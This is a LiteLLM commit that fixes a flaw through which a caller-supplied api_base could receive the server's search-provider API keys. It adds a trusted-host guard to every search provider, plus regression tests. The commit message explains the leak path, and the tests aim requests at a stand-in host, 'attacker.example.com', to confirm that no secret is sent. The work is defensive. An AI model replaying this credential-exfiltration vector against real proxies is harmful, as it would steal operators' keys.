fix(search): block server credential leak to caller-supplied api_base (#30682)

Search providers resolved the server-configured API key (e.g.
get_secret_str("SERPER_API_KEY")) in validate_environment whenever the
caller omitted api_key, while get_complete_url independently honored a
caller-supplied api_base. A caller who passes their own api_base and no
api_key therefore made the proxy send the operator's provider key to a
host they control; POST /search_tools/test_connection forwards
request-body api_base/api_key straight into asearch, so any authenticated
user could exfiltrate the server's search credentials.

Add a shared host-aware fallback in BaseSearchConfig.resolve_server_api_key
that only applies a server-managed secret when the caller-supplied
api_base is absent or resolves to a trusted host (the provider default or
the operator's own *_API_BASE env override); otherwise it refuses and asks
for an explicit api_key. The guard only triggers when a server secret
actually exists, so keyless and self-hosted providers (searxng, you.com
free tier) keep working. Every provider that carries a server secret is
migrated to the helper; dataforseo reuses the same guard for its
login:password basic-auth credentials.

This changes behavior for callers that previously passed a per-request
api_base while relying on a server-configured key: they must now pass an
explicit api_key, or the operator must configure the base via the
provider's *_API_BASE env var (which stays trusted).
This commit is contained in:
tin-berri 2026-06-23 13:01:21 -07:00 committed by GitHub
parent c546b58c09
commit 9c014716ec
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
24 changed files with 582 additions and 49 deletions

View file

@ -53,7 +53,13 @@ class APISerpentSearchConfig(BaseSearchConfig):
api_base: Optional[str] = None,
**kwargs,
) -> Dict:
api_key = api_key or get_secret_str("APISERPENT_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("APISERPENT_API_KEY",),
base_env_var="APISERPENT_API_BASE",
default_api_base=APISERPENT_BASE,
)
if not api_key:
raise ValueError(
"APISERPENT_API_KEY is not set. Set `APISERPENT_API_KEY` environment variable."

View file

@ -3,11 +3,13 @@ Base Search transformation configuration.
"""
from typing import TYPE_CHECKING, Any, Dict, List, Literal, Optional, Union
from urllib.parse import urlsplit
import httpx
from pydantic import PrivateAttr
from litellm.llms.base_llm.chat.transformation import BaseLLMException
from litellm.secret_managers.main import get_secret_str
from litellm.types.llms.base import LiteLLMPydanticObjectBase
if TYPE_CHECKING:
@ -16,6 +18,29 @@ else:
LiteLLMLoggingObj = Any
def _search_host(url: str) -> str:
return urlsplit(url).netloc.lower()
def _is_trusted_search_api_base(
caller_api_base: str,
default_api_base: str | None,
base_env_var: str | None,
) -> bool:
candidate = _search_host(caller_api_base)
if not candidate:
return False
trusted = {
_search_host(base)
for base in (
default_api_base,
get_secret_str(base_env_var) if base_env_var else None,
)
if base
}
return candidate in trusted
class SearchResult(LiteLLMPydanticObjectBase):
"""Single search result."""
@ -86,6 +111,60 @@ class BaseSearchConfig:
"max_tokens_per_page",
}
def _assert_trusted_api_base_for_server_credential(
self,
caller_api_base: str | None,
default_api_base: str | None,
base_env_var: str | None,
credential_name: str,
) -> None:
"""
Block sending a server-managed credential to a caller-chosen host.
A caller-supplied api_base is honored when constructing the request URL, so
falling back to a server-configured secret while the caller controls the host
leaks that secret. The provider default and the operator's own api_base
override are the only trusted destinations for a server-managed credential.
"""
if not caller_api_base:
return
if _is_trusted_search_api_base(caller_api_base, default_api_base, base_env_var):
return
raise ValueError(
f"Refusing to send the server-configured {credential_name} to the "
f"caller-supplied api_base '{caller_api_base}'. Pass an explicit api_key "
f"when overriding api_base for this search provider."
)
def resolve_server_api_key(
self,
*,
caller_api_key: str | None,
caller_api_base: str | None,
key_env_vars: tuple[str, ...],
base_env_var: str | None,
default_api_base: str | None,
) -> str | None:
"""
Resolve a single-secret search API key, falling back to a server-managed
secret only when the request targets a trusted host.
Returns the caller's key when provided, otherwise the first set
server-managed secret (or None when none is set, for keyless providers).
"""
if caller_api_key:
return caller_api_key
server_key = next(
(key for key in (get_secret_str(var) for var in key_env_vars) if key),
None,
)
if server_key is None:
return None
self._assert_trusted_api_base_for_server_credential(
caller_api_base, default_api_base, base_env_var, key_env_vars[0]
)
return server_key
def validate_environment(
self,
headers: Dict,

View file

@ -115,7 +115,13 @@ class BraveSearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("BRAVE_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("BRAVE_API_KEY",),
base_env_var="BRAVE_API_BASE",
default_api_base=self.BRAVE_API_BASE,
)
if not api_key:
raise ValueError(

View file

@ -1879,6 +1879,9 @@ class BaseLLMHTTPHandler:
data = provider_config.transform_search_request(
query=query,
optional_params=optional_params,
api_key=api_key,
api_base=api_base,
headers=headers or {},
)
# Get complete URL (pass data for providers that need request body for URL construction)

View file

@ -61,9 +61,18 @@ class DataForSEOSearchConfig(BaseSearchConfig):
password = get_secret_str("DATAFORSEO_PASSWORD")
# If api_key is provided in "login:password" format, use it
caller_supplied_credentials = bool(api_key and ":" in api_key)
if api_key and ":" in api_key:
login, password = api_key.split(":", 1)
if not caller_supplied_credentials and login and password:
self._assert_trusted_api_base_for_server_credential(
api_base,
self.DATAFORSEO_API_BASE,
"DATAFORSEO_API_BASE",
"DATAFORSEO_LOGIN",
)
if not login:
raise ValueError(
"DATAFORSEO_LOGIN is not set. Set `DATAFORSEO_LOGIN` environment variable or pass credentials in api_key parameter."

View file

@ -65,7 +65,13 @@ class ExaAISearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("EXA_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("EXA_API_KEY",),
base_env_var="EXA_API_BASE",
default_api_base=self.EXA_AI_API_BASE,
)
if not api_key:
raise ValueError(
"EXA_API_KEY is not set. Set `EXA_API_KEY` environment variable."

View file

@ -57,7 +57,13 @@ class FastCRWSearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("CRW_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("CRW_API_KEY",),
base_env_var="CRW_API_BASE",
default_api_base=self.FASTCRW_API_BASE,
)
if not api_key:
raise ValueError(
"CRW_API_KEY is not set. Set `CRW_API_KEY` environment variable."

View file

@ -61,7 +61,13 @@ class FirecrawlSearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("FIRECRAWL_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("FIRECRAWL_API_KEY",),
base_env_var="FIRECRAWL_API_BASE",
default_api_base=self.FIRECRAWL_API_BASE,
)
if not api_key:
raise ValueError(
"FIRECRAWL_API_KEY is not set. Set `FIRECRAWL_API_KEY` environment variable."

View file

@ -85,7 +85,13 @@ class GooglePSESearchConfig(BaseSearchConfig):
Google PSE uses API key as a query parameter, not in headers.
This method is called but headers are not used for authentication.
"""
api_key = api_key or get_secret_str("GOOGLE_PSE_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("GOOGLE_PSE_API_KEY",),
base_env_var="GOOGLE_PSE_API_BASE",
default_api_base=self.GOOGLE_PSE_API_BASE,
)
if not api_key:
raise ValueError(
"GOOGLE_PSE_API_KEY is not set. Set `GOOGLE_PSE_API_KEY` environment variable."
@ -137,6 +143,7 @@ class GooglePSESearchConfig(BaseSearchConfig):
query: Union[str, List[str]],
optional_params: dict,
api_key: Optional[str] = None,
api_base: str | None = None,
search_engine_id: Optional[str] = None,
**kwargs,
) -> Dict:
@ -165,8 +172,16 @@ class GooglePSESearchConfig(BaseSearchConfig):
# Google PSE only supports single string queries
query = " ".join(query)
# Get API credentials
api_key = api_key or get_secret_str("GOOGLE_PSE_API_KEY")
# Get API credentials. The key is sent as a query param to api_base, so
# resolve it host-aware to avoid leaking a server-managed key to a
# caller-supplied host.
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("GOOGLE_PSE_API_KEY",),
base_env_var="GOOGLE_PSE_API_BASE",
default_api_base=self.GOOGLE_PSE_API_BASE,
)
search_engine_id = search_engine_id or get_secret_str("GOOGLE_PSE_ENGINE_ID")
if not api_key:

View file

@ -61,7 +61,13 @@ class LinkupSearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("LINKUP_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("LINKUP_API_KEY",),
base_env_var="LINKUP_API_BASE",
default_api_base=self.LINKUP_API_BASE,
)
if not api_key:
raise ValueError(
"LINKUP_API_KEY is not set. Set `LINKUP_API_KEY` environment variable."

View file

@ -67,10 +67,12 @@ class ParallelAISearchConfig(BaseSearchConfig):
api_base: Optional[str] = None,
**kwargs,
) -> Dict:
api_key = (
api_key
or get_secret_str("PARALLEL_AI_API_KEY")
or get_secret_str("PARALLEL_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("PARALLEL_AI_API_KEY", "PARALLEL_API_KEY"),
base_env_var="PARALLEL_AI_API_BASE",
default_api_base=self.PARALLEL_AI_API_BASE,
)
if not api_key:
raise ValueError(

View file

@ -50,7 +50,13 @@ class PerplexitySearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("PERPLEXITYAI_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("PERPLEXITYAI_API_KEY",),
base_env_var="PERPLEXITY_API_BASE",
default_api_base=self.PERPLEXITY_API_BASE,
)
if not api_key:
raise ValueError(
"PERPLEXITYAI_API_KEY is not set. Set `PERPLEXITYAI_API_KEY` environment variable."

View file

@ -74,7 +74,13 @@ class SearchAPIConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("SEARCHAPI_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("SEARCHAPI_API_KEY",),
base_env_var="SEARCHAPI_API_BASE",
default_api_base=self.SEARCHAPI_API_BASE,
)
if not api_key:
raise ValueError(
@ -114,6 +120,7 @@ class SearchAPIConfig(BaseSearchConfig):
query: Union[str, List[str]],
optional_params: dict,
api_key: Optional[str] = None,
api_base: str | None = None,
search_engine_id: Optional[str] = None,
**kwargs,
) -> Dict:
@ -137,8 +144,16 @@ class SearchAPIConfig(BaseSearchConfig):
if isinstance(query, list):
query = " ".join(query)
# Get API key from parameter or environment
api_key = api_key or get_secret_str("SEARCHAPI_API_KEY")
# Get API key from parameter or environment. The key is sent as a query
# param to api_base, so resolve it host-aware to avoid leaking a
# server-managed key to a caller-supplied host.
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("SEARCHAPI_API_KEY",),
base_env_var="SEARCHAPI_API_BASE",
default_api_base=self.SEARCHAPI_API_BASE,
)
if not api_key:
raise ValueError(
"SEARCHAPI_API_KEY is not set. Set `SEARCHAPI_API_KEY` environment variable."

View file

@ -61,7 +61,13 @@ class SearXNGSearchConfig(BaseSearchConfig):
Some instances may require authentication via headers.
"""
# SearXNG typically doesn't require API keys, but support optional auth
api_key = api_key or get_secret_str("SEARXNG_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("SEARXNG_API_KEY",),
base_env_var="SEARXNG_API_BASE",
default_api_base=None,
)
if api_key:
headers["Authorization"] = f"Bearer {api_key}"
headers["Content-Type"] = "application/json"

View file

@ -55,7 +55,13 @@ class SerperSearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("SERPER_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("SERPER_API_KEY",),
base_env_var="SERPER_API_BASE",
default_api_base=self.SERPER_API_BASE,
)
if not api_key:
raise ValueError(
"SERPER_API_KEY is not set. Set `SERPER_API_KEY` environment variable."

View file

@ -64,7 +64,13 @@ class TavilySearchConfig(BaseSearchConfig):
"""
Validate environment and return headers.
"""
api_key = api_key or get_secret_str("TAVILY_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("TAVILY_API_KEY",),
base_env_var="TAVILY_API_BASE",
default_api_base=self.TAVILY_API_BASE,
)
if not api_key:
raise ValueError(
"TAVILY_API_KEY is not set. Set `TAVILY_API_KEY` environment variable."

View file

@ -67,7 +67,13 @@ class TinyfishSearchConfig(BaseSearchConfig):
api_base: str | None = None,
**kwargs: object,
) -> dict[str, str]:
resolved_key = api_key or get_secret_str("TINYFISH_API_KEY")
resolved_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("TINYFISH_API_KEY",),
base_env_var="TINYFISH_API_BASE",
default_api_base=self.TINYFISH_API_BASE,
)
if not resolved_key:
raise ValueError(
"TINYFISH_API_KEY is not set. Set `TINYFISH_API_KEY` environment variable."

View file

@ -64,7 +64,13 @@ class YouComSearchConfig(BaseSearchConfig):
endpoint with the `X-API-Key` header. Otherwise fall through to the
keyless free tier; no auth header is required.
"""
api_key = api_key or get_secret_str("YOUCOM_API_KEY")
api_key = self.resolve_server_api_key(
caller_api_key=api_key,
caller_api_base=api_base,
key_env_vars=("YOUCOM_API_KEY",),
base_env_var="YOUCOM_API_BASE",
default_api_base=self.YOU_COM_API_BASE,
)
headers["Content-Type"] = "application/json"
# Pin Accept-Encoding to identity: the keyless `api.you.com/v1/agents/search`
# endpoint advertises gzip content-encoding but returns body bytes the

View file

@ -46,10 +46,9 @@ class TestSearchAPIConfig:
assert result["Content-Type"] == "application/json"
@patch("litellm.llms.searchapi.search.transformation.get_secret_str")
def test_validate_environment_without_api_key(self, mock_get_secret):
def test_validate_environment_without_api_key(self, monkeypatch):
"""Test environment validation without API key raises error."""
mock_get_secret.return_value = None
monkeypatch.delenv("SEARCHAPI_API_KEY", raising=False)
config = SearchAPIConfig()
headers = {}

View file

@ -318,13 +318,11 @@ class TestSearXNGSearchHeaders:
assert headers["Content-Type"] == "application/json"
assert headers["Authorization"] == "Bearer test-key-123"
def test_headers_with_env_api_key(self):
def test_headers_with_env_api_key(self, monkeypatch):
"""Test that headers use SEARXNG_API_KEY from env."""
with patch(
"litellm.llms.searxng.search.transformation.get_secret_str",
return_value="env-key-456",
):
headers = self.config.validate_environment(headers={})
monkeypatch.setenv("SEARXNG_API_KEY", "env-key-456")
headers = self.config.validate_environment(headers={})
assert headers["Authorization"] == "Bearer env-key-456"

View file

@ -66,9 +66,8 @@ class TestAPISerpentConfig:
assert headers["X-API-Key"] == "test-api-key"
assert headers["Content-Type"] == "application/json"
@patch("litellm.llms.apiserpent.search.transformation.get_secret_str")
def test_validate_environment_without_api_key(self, mock_get_secret):
mock_get_secret.return_value = None
def test_validate_environment_without_api_key(self, monkeypatch):
monkeypatch.delenv("APISERPENT_API_KEY", raising=False)
with pytest.raises(ValueError, match="APISERPENT_API_KEY is not set"):
APISerpentSearchConfig().validate_environment({})

View file

@ -0,0 +1,329 @@
"""
Regression tests for the host-aware server-credential fallback guard in
``BaseSearchConfig``.
A caller-supplied ``api_base`` is honored when building the request URL, so
falling back to a server-configured secret while the caller controls the host
would send the operator's credential to an attacker. The guard must refuse that
combination for every provider that carries a server-managed secret, while
leaving keyless providers and legitimate operator overrides untouched.
"""
from typing import Dict, Tuple, Type
from unittest.mock import AsyncMock, patch
import pytest
import litellm
from litellm.llms.apiserpent.search.transformation import APISerpentSearchConfig
from litellm.llms.base_llm.search.transformation import (
BaseSearchConfig,
_is_trusted_search_api_base,
)
from litellm.llms.brave.search.transformation import BraveSearchConfig
from litellm.llms.dataforseo.search.transformation import DataForSEOSearchConfig
from litellm.llms.exa_ai.search.transformation import ExaAISearchConfig
from litellm.llms.fastcrw.search.transformation import FastCRWSearchConfig
from litellm.llms.firecrawl.search.transformation import FirecrawlSearchConfig
from litellm.llms.google_pse.search.transformation import GooglePSESearchConfig
from litellm.llms.linkup.search.transformation import LinkupSearchConfig
from litellm.llms.parallel_ai.search.transformation import ParallelAISearchConfig
from litellm.llms.perplexity.search.transformation import PerplexitySearchConfig
from litellm.llms.searchapi.search.transformation import SearchAPIConfig
from litellm.llms.searxng.search.transformation import SearXNGSearchConfig
from litellm.llms.serper.search.transformation import SerperSearchConfig
from litellm.llms.tavily.search.transformation import TavilySearchConfig
from litellm.llms.tinyfish.search.transformation import TinyfishSearchConfig
from litellm.llms.you_com.search.transformation import YouComSearchConfig
ATTACKER_BASE = "https://attacker.example.com"
# Every *_API_BASE override env var that could otherwise mark the attacker host
# as trusted; cleared before each test so the suite is hermetic.
_BASE_ENV_VARS = (
"SERPER_API_BASE",
"TAVILY_API_BASE",
"PERPLEXITY_API_BASE",
"APISERPENT_API_BASE",
"EXA_API_BASE",
"BRAVE_API_BASE",
"FIRECRAWL_API_BASE",
"LINKUP_API_BASE",
"SEARCHAPI_API_BASE",
"GOOGLE_PSE_API_BASE",
"PARALLEL_AI_API_BASE",
"YOUCOM_API_BASE",
"SEARXNG_API_BASE",
"DATAFORSEO_API_BASE",
"TINYFISH_API_BASE",
"CRW_API_BASE",
)
@pytest.fixture(autouse=True)
def _clear_base_overrides(monkeypatch: pytest.MonkeyPatch) -> None:
for var in _BASE_ENV_VARS:
monkeypatch.delenv(var, raising=False)
# (config, {server secret env vars}, caller_api_key honored as-is, extra env for full validate)
ProviderSpec = Tuple[Type[BaseSearchConfig], Dict[str, str], str, Dict[str, str]]
PROVIDERS: Tuple[ProviderSpec, ...] = (
(SerperSearchConfig, {"SERPER_API_KEY": "srv"}, "caller-key", {}),
(TavilySearchConfig, {"TAVILY_API_KEY": "srv"}, "caller-key", {}),
(PerplexitySearchConfig, {"PERPLEXITYAI_API_KEY": "srv"}, "caller-key", {}),
(APISerpentSearchConfig, {"APISERPENT_API_KEY": "srv"}, "caller-key", {}),
(ExaAISearchConfig, {"EXA_API_KEY": "srv"}, "caller-key", {}),
(BraveSearchConfig, {"BRAVE_API_KEY": "srv"}, "caller-key", {}),
(FirecrawlSearchConfig, {"FIRECRAWL_API_KEY": "srv"}, "caller-key", {}),
(LinkupSearchConfig, {"LINKUP_API_KEY": "srv"}, "caller-key", {}),
(SearchAPIConfig, {"SEARCHAPI_API_KEY": "srv"}, "caller-key", {}),
(
GooglePSESearchConfig,
{"GOOGLE_PSE_API_KEY": "srv"},
"caller-key",
{"GOOGLE_PSE_ENGINE_ID": "engine"},
),
(ParallelAISearchConfig, {"PARALLEL_API_KEY": "srv"}, "caller-key", {}),
(YouComSearchConfig, {"YOUCOM_API_KEY": "srv"}, "caller-key", {}),
(SearXNGSearchConfig, {"SEARXNG_API_KEY": "srv"}, "caller-key", {}),
(
DataForSEOSearchConfig,
{"DATAFORSEO_LOGIN": "srv", "DATAFORSEO_PASSWORD": "pw"},
"login:password",
{},
),
(TinyfishSearchConfig, {"TINYFISH_API_KEY": "srv"}, "caller-key", {}),
(FastCRWSearchConfig, {"CRW_API_KEY": "srv"}, "caller-key", {}),
)
_IDS = tuple(spec[0].__name__ for spec in PROVIDERS)
@pytest.mark.parametrize(
"config_cls, server_env, caller_key, extra_env", PROVIDERS, ids=_IDS
)
def test_server_secret_refused_for_caller_api_base(
config_cls: Type[BaseSearchConfig],
server_env: Dict[str, str],
caller_key: str,
extra_env: Dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
for key, value in {**server_env, **extra_env}.items():
monkeypatch.setenv(key, value)
with pytest.raises(ValueError, match="Refusing to send the server-configured"):
config_cls().validate_environment(headers={}, api_base=ATTACKER_BASE)
@pytest.mark.parametrize(
"config_cls, server_env, caller_key, extra_env", PROVIDERS, ids=_IDS
)
def test_caller_supplied_key_is_honored_for_custom_api_base(
config_cls: Type[BaseSearchConfig],
server_env: Dict[str, str],
caller_key: str,
extra_env: Dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
for key, value in {**server_env, **extra_env}.items():
monkeypatch.setenv(key, value)
# An explicit caller key is the caller's own credential, so pointing it at
# the caller's own host must be allowed.
config_cls().validate_environment(
headers={}, api_key=caller_key, api_base=ATTACKER_BASE
)
@pytest.mark.parametrize(
"config_cls, server_env, caller_key, extra_env", PROVIDERS, ids=_IDS
)
def test_server_secret_used_without_caller_api_base(
config_cls: Type[BaseSearchConfig],
server_env: Dict[str, str],
caller_key: str,
extra_env: Dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
for key, value in {**server_env, **extra_env}.items():
monkeypatch.setenv(key, value)
# No caller-supplied api_base -> the request targets the trusted default, so
# the server secret is still used and nothing is refused.
config_cls().validate_environment(headers={})
def test_keyless_provider_allows_caller_api_base(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.delenv("SEARXNG_API_KEY", raising=False)
headers = SearXNGSearchConfig().validate_environment(
headers={}, api_base="https://my-searxng.internal"
)
assert "Authorization" not in headers
def test_operator_env_base_override_is_trusted(
monkeypatch: pytest.MonkeyPatch,
) -> None:
monkeypatch.setenv("SERPER_API_KEY", "srv")
monkeypatch.setenv("SERPER_API_BASE", "https://serper.internal.corp")
# Mirrors the second validate_environment call in the search handler, which
# receives the already-resolved operator base as api_base.
headers = SerperSearchConfig().validate_environment(
headers={}, api_base="https://serper.internal.corp/search"
)
assert headers["X-API-KEY"] == "srv"
class TestResolveServerApiKey:
def test_caller_key_short_circuits(self) -> None:
result = BaseSearchConfig().resolve_server_api_key(
caller_api_key="mine",
caller_api_base=ATTACKER_BASE,
key_env_vars=("SERPER_API_KEY",),
base_env_var="SERPER_API_BASE",
default_api_base="https://google.serper.dev",
)
assert result == "mine"
def test_returns_none_when_no_server_secret(
self, monkeypatch: pytest.MonkeyPatch
) -> None:
monkeypatch.delenv("SEARXNG_API_KEY", raising=False)
result = BaseSearchConfig().resolve_server_api_key(
caller_api_key=None,
caller_api_base=ATTACKER_BASE,
key_env_vars=("SEARXNG_API_KEY",),
base_env_var="SEARXNG_API_BASE",
default_api_base=None,
)
assert result is None
def test_first_set_env_var_wins(self, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.delenv("PARALLEL_AI_API_KEY", raising=False)
monkeypatch.setenv("PARALLEL_API_KEY", "second")
result = BaseSearchConfig().resolve_server_api_key(
caller_api_key=None,
caller_api_base=None,
key_env_vars=("PARALLEL_AI_API_KEY", "PARALLEL_API_KEY"),
base_env_var="PARALLEL_AI_API_BASE",
default_api_base="https://api.parallel.ai",
)
assert result == "second"
class TestIsTrustedSearchApiBase:
def test_matches_default_host(self) -> None:
assert _is_trusted_search_api_base(
"https://google.serper.dev/search", "https://google.serper.dev", None
)
def test_foreign_host_untrusted(self) -> None:
assert not _is_trusted_search_api_base(
ATTACKER_BASE, "https://google.serper.dev", None
)
def test_env_override_host_trusted(self, monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.setenv("SERPER_API_BASE", "https://serper.internal.corp")
assert _is_trusted_search_api_base(
"https://serper.internal.corp/search",
"https://google.serper.dev",
"SERPER_API_BASE",
)
def test_schemeless_candidate_untrusted(self) -> None:
# Without a scheme urlsplit puts the value in the path, leaving an empty
# netloc; an unparseable host must never be treated as trusted.
assert not _is_trusted_search_api_base(
"attacker.example.com", "https://google.serper.dev", None
)
@pytest.mark.asyncio
async def test_asearch_does_not_leak_server_key_to_caller_api_base(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""End-to-end regression on the reported vector: a search call with a foreign
api_base and no caller key must fail without any outbound request carrying the
server-configured key."""
monkeypatch.setenv("SERPER_API_KEY", "sk-server-secret")
monkeypatch.delenv("SERPER_API_BASE", raising=False)
with (
patch(
"litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post",
new_callable=AsyncMock,
) as mock_post,
patch(
"litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.get",
new_callable=AsyncMock,
) as mock_get,
):
with pytest.raises(Exception):
await litellm.asearch(
query="secrets",
search_provider="serper",
api_base=ATTACKER_BASE,
)
mock_post.assert_not_called()
mock_get.assert_not_called()
@pytest.mark.parametrize(
"provider, key_env, server_key, extra_env",
[
("searchapi", "SEARCHAPI_API_KEY", "sk-server-searchapi", {}),
(
"google_pse",
"GOOGLE_PSE_API_KEY",
"sk-server-google",
{"GOOGLE_PSE_ENGINE_ID": "engine-id"},
),
],
)
@pytest.mark.asyncio
async def test_query_param_key_not_leaked_with_dummy_caller_key(
provider: str,
key_env: str,
server_key: str,
extra_env: Dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""Providers that send the key as a URL query param resolve it in
transform_search_request, not validate_environment. A caller who passes a
dummy api_key to clear the validate_environment short-circuit must not cause
the server key to be placed in the URL sent to their own api_base."""
monkeypatch.setenv(key_env, server_key)
for name, value in extra_env.items():
monkeypatch.setenv(name, value)
captured: Dict[str, str] = {}
async def fake_get(self, *args, **kwargs): # type: ignore[no-untyped-def]
captured["url"] = kwargs.get("url") or (args[0] if args else "")
raise RuntimeError("stop after capturing the outbound url")
with patch(
"litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.get",
fake_get,
):
with pytest.raises(Exception):
await litellm.asearch(
query="secrets",
search_provider=provider,
api_key="sk-CALLER-DUMMY",
api_base=ATTACKER_BASE,
)
assert captured["url"], "expected an outbound request to be attempted"
assert server_key not in captured["url"]
assert "sk-CALLER-DUMMY" in captured["url"]

View file

@ -293,7 +293,10 @@ class TestParallelAISearch:
],
)
@pytest.mark.asyncio
async def test_custom_api_base_appends_v1_search(self, api_base):
async def test_custom_api_base_appends_v1_search(self, api_base, monkeypatch):
# Operator points at an internal base via the env override (a trusted
# host), so the server key is still used and the URL is normalized.
monkeypatch.setenv("PARALLEL_AI_API_BASE", api_base)
with patch(
"litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post",
new_callable=AsyncMock,
@ -303,7 +306,6 @@ class TestParallelAISearch:
await litellm.asearch(
query="AI developments",
search_provider="parallel_ai",
api_base=api_base,
)
call_args = mock_post.call_args
@ -312,6 +314,23 @@ class TestParallelAISearch:
== "https://proxy.internal.example.com/v1/search"
)
@pytest.mark.asyncio
async def test_caller_api_base_without_key_is_refused(self, monkeypatch):
# A caller-supplied api_base (untrusted host) while relying on the
# server key must be refused without any outbound request.
monkeypatch.setenv("PARALLEL_API_KEY", "server-secret")
with patch(
"litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post",
new_callable=AsyncMock,
) as mock_post:
with pytest.raises(Exception, match="Refusing to send"):
await litellm.asearch(
query="AI developments",
search_provider="parallel_ai",
api_base="https://attacker.example.com",
)
mock_post.assert_not_called()
@pytest.mark.asyncio
async def test_missing_api_key_raises(self, monkeypatch):
monkeypatch.delenv("PARALLEL_API_KEY", raising=False)

View file

@ -63,23 +63,17 @@ class TestTinyfishSearchConfig:
assert headers["X-API-Key"] == "sk-tinyfish-test"
assert headers["Accept"] == "application/json"
def test_validate_environment_from_env(self):
def test_validate_environment_from_env(self, monkeypatch):
monkeypatch.setenv("TINYFISH_API_KEY", "sk-from-env")
config = TinyfishSearchConfig()
with patch(
"litellm.llms.tinyfish.search.transformation.get_secret_str",
return_value="sk-from-env",
):
headers = config.validate_environment(headers={})
headers = config.validate_environment(headers={})
assert headers["X-API-Key"] == "sk-from-env"
def test_validate_environment_missing_key(self):
def test_validate_environment_missing_key(self, monkeypatch):
monkeypatch.delenv("TINYFISH_API_KEY", raising=False)
config = TinyfishSearchConfig()
with patch(
"litellm.llms.tinyfish.search.transformation.get_secret_str",
return_value=None,
):
with pytest.raises(ValueError, match="TINYFISH_API_KEY"):
config.validate_environment(headers={})
with pytest.raises(ValueError, match="TINYFISH_API_KEY"):
config.validate_environment(headers={})
def test_validate_environment_uses_api_base_kwarg(self):
config = TinyfishSearchConfig()